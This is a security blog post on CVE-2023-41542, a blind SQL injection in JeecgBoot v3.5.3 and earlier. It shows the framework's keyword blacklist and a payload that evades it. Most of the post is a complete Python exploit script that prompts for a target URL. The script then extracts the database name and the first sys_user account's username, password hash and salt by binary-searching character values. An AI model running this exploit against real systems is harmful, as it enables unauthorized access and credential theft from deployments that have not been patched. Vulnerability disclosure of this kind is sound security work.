CVE-2023-41542(JeecgBoot Sql Injection)

Description

JEECG Boot v3.5.3 was discovered to contain a SQL injection in /jeecg boot/jmreport/qurestSql

Affected version

JeecgBoot <= v3.5.3

Vulnerability Analysis

It was found that the framework has protected the original SQL injection by adding a blacklist. The blacklist is as follows:

“exec|peformance_schema|information_schema|extractvalue|updatexml|geohash|gtid_subset|gtid_subtract| insert | alter | delete | grant | update | drop | chr | mid | master | truncate | char | declare |user()|”;

Therefore, it is possible to directly construct payloads outside of the blacklist to bypass existing protective measures,As I mentioned in the report

1
1 'having {ascii}=(nullif (ascii (substring ((select database()), {place}, 1)), 0) or'

Exp

The complete utilization script is as follows

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
import requests
import json

def get_database(url):
url=url+"/jeecg-boot/jmreport/qurestSql"
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0',
'Accept': 'application/json, text/plain, */*',
'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Referer': 'http://localhost:8088/jeecg-boot/jmreport/list',
'X-Access-Token': 'null',
'token': 'null',
'JmReport-Tenant-Id': 'null',
'Content-Type': 'application/json',
'Connection': 'close',
'Sec-Fetch-Dest': 'empty',
'Sec-Fetch-Mode': 'no-cors',
'Sec-Fetch-Site': 'same-origin',
'Pragma': 'no-cache',
'Cache-Control': 'no-cache'
}
# payload = """{"apiSelectId":"1316997232402231298","id":"1' having 106=(nullif(ascii((substring((select database()),1,1))),0)) or '"}"""
payload="""{"apiSelectId":"1316997232402231298","id":"1' having 32<(nullif(ascii((substring((select database()),{length},1))),0)) or '"}"""
length=1
while True:
payload=f"""{{"apiSelectId":"1316997232402231298","id":"1' having 32<(nullif(ascii((substring((select database()),{length},1))),0)) or '"}}"""
response=requests.post(url,headers=headers,data=payload)
res=json.loads(response.text)
if res["result"]==None:
break
else:
length+=1
database=""
for place in range(1,length):
min=32
max=128
mid=(min+max)//2
while min<max:
payload=f"""{{"apiSelectId":"1316997232402231298","id":"1' having {mid}<(nullif(ascii((substring((select database()),{place},1))),0)) or '"}}"""
response=requests.post(url,headers=headers,data=payload)
res=json.loads(response.text)
if res["result"]!=None:
min = mid + 1
else:
max = mid
mid = (min + max) // 2
database+=chr(mid)
print(database)
def get_user_password(url):
url=url+"/jeecg-boot/jmreport/qurestSql"
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0',
'Accept': 'application/json, text/plain, */*',
'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Referer': 'http://localhost:8088/jeecg-boot/jmreport/list',
'X-Access-Token': 'null',
'token': 'null',
'JmReport-Tenant-Id': 'null',
'Content-Type': 'application/json',
'Connection': 'close',
'Sec-Fetch-Dest': 'empty',
'Sec-Fetch-Mode': 'no-cors',
'Sec-Fetch-Site': 'same-origin',
'Pragma': 'no-cache',
'Cache-Control': 'no-cache'
}
length=1
while True:
payload=f"""{{"apiSelectId":"1316997232402231298","id":"1' having 32<(nullif(ascii((substring((select username from sys_user limit 1,1),{length},1))),0)) or '"}}"""
response=requests.post(url,headers=headers,data=payload)
res=json.loads(response.text)
if res["result"]==None:
break
else:
length+=1
username=""
for place in range(1,length):
min=32
max=128
mid=(min+max)//2
while min<max:
payload=f"""{{"apiSelectId":"1316997232402231298","id":"1' having {mid}<(nullif(ascii((substring((select username from sys_user limit 1,1),{place},1))),0)) or '"}}"""
response=requests.post(url,headers=headers,data=payload)
res=json.loads(response.text)
if res["result"]!=None:
min = mid + 1
else:
max = mid
mid = (min + max) // 2
username+=chr(mid)
length=1
while True:
payload=f"""{{"apiSelectId":"1316997232402231298","id":"1' having 32<(nullif(ascii((substring((select password from sys_user limit 1,1),{length},1))),0)) or '"}}"""
response=requests.post(url,headers=headers,data=payload)
res=json.loads(response.text)
if res["result"]==None:
break
else:
length+=1
password=""
for place in range(1,length):
min=32
max=128
mid=(min+max)//2
while min<max:
payload=f"""{{"apiSelectId":"1316997232402231298","id":"1' having {mid}<(nullif(ascii((substring((select password from sys_user limit 1,1),{place},1))),0)) or '"}}"""
response=requests.post(url,headers=headers,data=payload)
res=json.loads(response.text)
if res["result"]!=None:
min = mid + 1
else:
max = mid
mid = (min + max) // 2
password+=chr(mid)
length=1
while True:
payload=f"""{{"apiSelectId":"1316997232402231298","id":"1' having 32<(nullif(ascii((substring((select salt from sys_user limit 1,1),{length},1))),0)) or '"}}"""
response=requests.post(url,headers=headers,data=payload)
res=json.loads(response.text)
if res["result"]==None:
break
else:
length+=1
salt=""
for place in range(1,length):
min=32
max=128
mid=(min+max)//2
while min<max:
payload=f"""{{"apiSelectId":"1316997232402231298","id":"1' having {mid}<(nullif(ascii((substring((select salt from sys_user limit 1,1),{place},1))),0)) or '"}}"""
response=requests.post(url,headers=headers,data=payload)
res=json.loads(response.text)
if res["result"]!=None:
min = mid + 1
else:
max = mid
mid = (min + max) // 2
salt+=chr(mid)
print("用户名为:"+username+"\n密码为:"+password+"\n盐为:"+salt)
# get_database("http://localhost:8088")
url=input("please input your target: (example:http://localhost:8088)")
# get_database(url)
get_user_password(url)

CVE-2023-41542(JeecgBoot Sql Injection)
https://pho3n1x-web.github.io/2023/09/15/CVE-2023-41542(JeecgBoot_sql)/
Author
Pho3n1x
Posted on
September 15, 2023
Licensed under